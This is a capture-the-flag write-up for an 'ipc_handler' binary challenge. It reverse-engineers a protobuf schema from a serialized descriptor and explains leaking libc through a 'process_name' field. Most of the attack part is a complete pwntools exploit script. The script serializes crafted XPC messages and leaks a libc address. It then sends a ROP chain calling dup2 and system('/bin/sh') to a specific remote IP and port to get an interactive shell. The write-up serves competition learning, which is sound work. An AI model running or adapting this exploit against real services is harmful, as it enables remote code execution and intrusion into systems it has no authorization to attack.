(Written by okas832 and Reinose. I just uploaded this)
Need to serialize message with protobuf to send data. But protocol.proto
file not given.
Serialized descriptor_pb2.FileDescriptorProto is at 0x416700:0x4168B0.
Recovered protocol.proto
with blackbox analysis because couldn't find related documents.
0A 0E 70 72 6F 74 6F 63 6F 6C 2E 70 72 6F 74 6F filename : "protocol.proto"
12 08 70 72 6F 74 6F 63 6F 6C package "protocol"
22 50 message
0A 09 64 69 63 74 5F 64 61 74 61 "dict_data"
12 0B field
0A 03 6B 65 79 "key"
18 01 20 02 28 09 field number : 1, type : string
12 27 field
0A 0A 76 61 6C 75 65 5F 74 79 70 65 "value_type"
18 02 20 02 28 0E field number : 2, type : protocol.valueType
32 13 2E 70 72 6F 74 6F 63 6F 6C 2E 76 61 6C 75 65 54 79 70 65
12 0D field
0A 05 76 61 6C 75 65 "value"
18 03 20 02 28 0C field number : 3, type : bytes
22 45 message
0A 10 78 70 63 5F 64 69 63 74 69 6F 6E 61 72 79 5F 74 "xpc_dictionary_t"
12 0E field
0A 06 68 65 61 64 65 72 "header"
18 01 20 02 28 0C field number : 1, type : bytes
12 21 field
0A 04 64 61 74 61 "data"
18 02 20 03 28 0B field number : 2, type : protocol.dict_data
32 13 2E 70 72 6F 74 6F 63 6F 6C 2E 64 69 63 74 5F 64 61 74 61
22 1C message
0A 0B 78 70 63 5F 69 6E 74 36 34 5F 74 "xpc_int64_t"
12 0D field
0A 05 76 61 6C 75 65 "value"
18 01 20 02 28 04 field number : 1, type : uint64
22 1D message
0A 0C 78 70 63 5F 75 69 6E 74 36 34 5F 74 "xpc_uint64_t"
12 0D field
0A 05 76 61 6C 75 65 "value"
18 01 20 02 28 04 field number : 1, type : uint64
22 1D message
0A 0C 78 70 63 5F 73 74 72 69 6E 67 5F 74 "xpc_string_t"
12 0D field
0A 05 76 61 6C 75 65 "value"
18 01 20 02 28 09 field number : 1, type : string
22 1B message
0A 0A 78 70 63 5F 64 61 74 61 5F 74 "xpc_data_t"
12 0D field
0A 05 76 61 6C 75 65 "value"
18 01 20 02 28 0C field number : 1, type : bytes
22 40 message
0A 03 58 50 43 "XPC"
12 0F field
0A 07 63 6F 6E 6E 5F 69 64 "conn_id"
18 01 20 02 28 03 field number : 1, type : int64
12 28 field
0A 04 64 69 63 74 "dict"
18 02 20 03 28 0B field number : 2, type : protocol.xpc_dictionary_t
32 1A 2E 70 72 6F 74 6F 63 6F 6C 2E 78 70 63 5F 64 69 63 74 69 6F 6E 61 72 79 5F 74
2A 40 enum
0A 09 76 61 6C 75 65 54 79 70 65 "valueType"
12 0B field
0A 05 49 4E 54 36 34 "INT64"
10 80 A0 02 0x9000
12 0C field
0A 06 55 49 4E 54 36 34 "UINT64"
10 80 C0 02 0xa000
12 0C field
0A 06 53 54 52 49 4E 47 "STRING"
10 80 80 01 0x4000
12 0A field
0A 04 44 41 54 41 "DATA"
10 80 A0 01 0x5000
Recovered protocol.proto
.
syntax = "proto2";
package protocol;
message dict_data {
required string key = 1;
required protocol.valueType value_type = 2;
required bytes value = 3;
}
message xpc_dictionary_t {
required bytes header = 1;
repeated protocol.dict_data data = 2;
}
message xpc_int64_t {
required uint64 value = 1;
}
message xpc_uint64_t {
required uint64 value = 1;
}
message xpc_string_t {
required string value = 1;
}
message xpc_data_t {
required bytes value = 1;
}
message XPC {
required int64 conn_id = 1;
required protocol.xpc_dictionary_t dict = 2;
}
enum valueType {
INT64 = 0x9000;
UINT64 = 0xa000;
STRING = 0x4000;
DATA = 0x5000;
}
You can find that data
in xpc_dictionary_t
need to be specify to repeated
by analyzing the binary.
We compiled proto file into python script.
To leak the addresses, scalar1
and scalar2
should be pointers which contains valid function pointers.
(Especially, a initialization function of std::string
.)
Using process_name
, we can leak arbitrary address from the given binary.
Hence, we first get libc address by leaking rand
function address and then pviot stack into the buffer which contains the content of process_name
.
#!/usr/bin/env python3
from pwn import *
import protocol_pb2
xpc = protocol_pb2.XPC()
xpc.conn_id = 0x1
xpc.dict.header = b"XPC!"
data1 = xpc.dict.data.add()
data1.key = "process_name"
data1.value_type = protocol_pb2.valueType.INT64
data1.value = p64(0x41F0D0 - 0x18) # rand
addr1 = 0x405D00
data2 = xpc.dict.data.add()
data2.key = "scalar1"
data2.value_type = protocol_pb2.valueType.DATA
data2.value = p64(addr1)
addr2 = 0x405D20
data3 = xpc.dict.data.add()
data3.key = "scalar2"
data3.value_type = protocol_pb2.valueType.DATA
data3.value = p64(addr2)
v = xpc.SerializeToString()
context.log_level = "DEBUG"
p = remote("34.146.163.198", 10003)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
e = ELF("./ipc_handler")
p.send(v)
leak = p.recv(0x400).split(b"(")[1]
libc_leak = u64(leak.split(b") ")[0].ljust(8, b"\x00"))
libc.address = libc_leak - 0x47d40
p.close()
prdi = 0x0000000000415983
prsip = 0x0000000000415981
payload = p64(prdi) + p64(4) + p64(prsip) + p64(0)*2 + p64(libc.sym['dup2'])
payload += p64(prdi) + p64(4) + p64(prsip) + p64(1)*2 + p64(libc.sym['dup2'])
payload += p64(prdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym['system'])
data1.value_type = protocol_pb2.valueType.DATA
data1.value = payload
addr1 = 0x0000000000406b1d
data2.value = p64(addr1)
v = xpc.SerializeToString()
p = remote("34.146.163.198", 10003)
p.send(v)
p.interactive()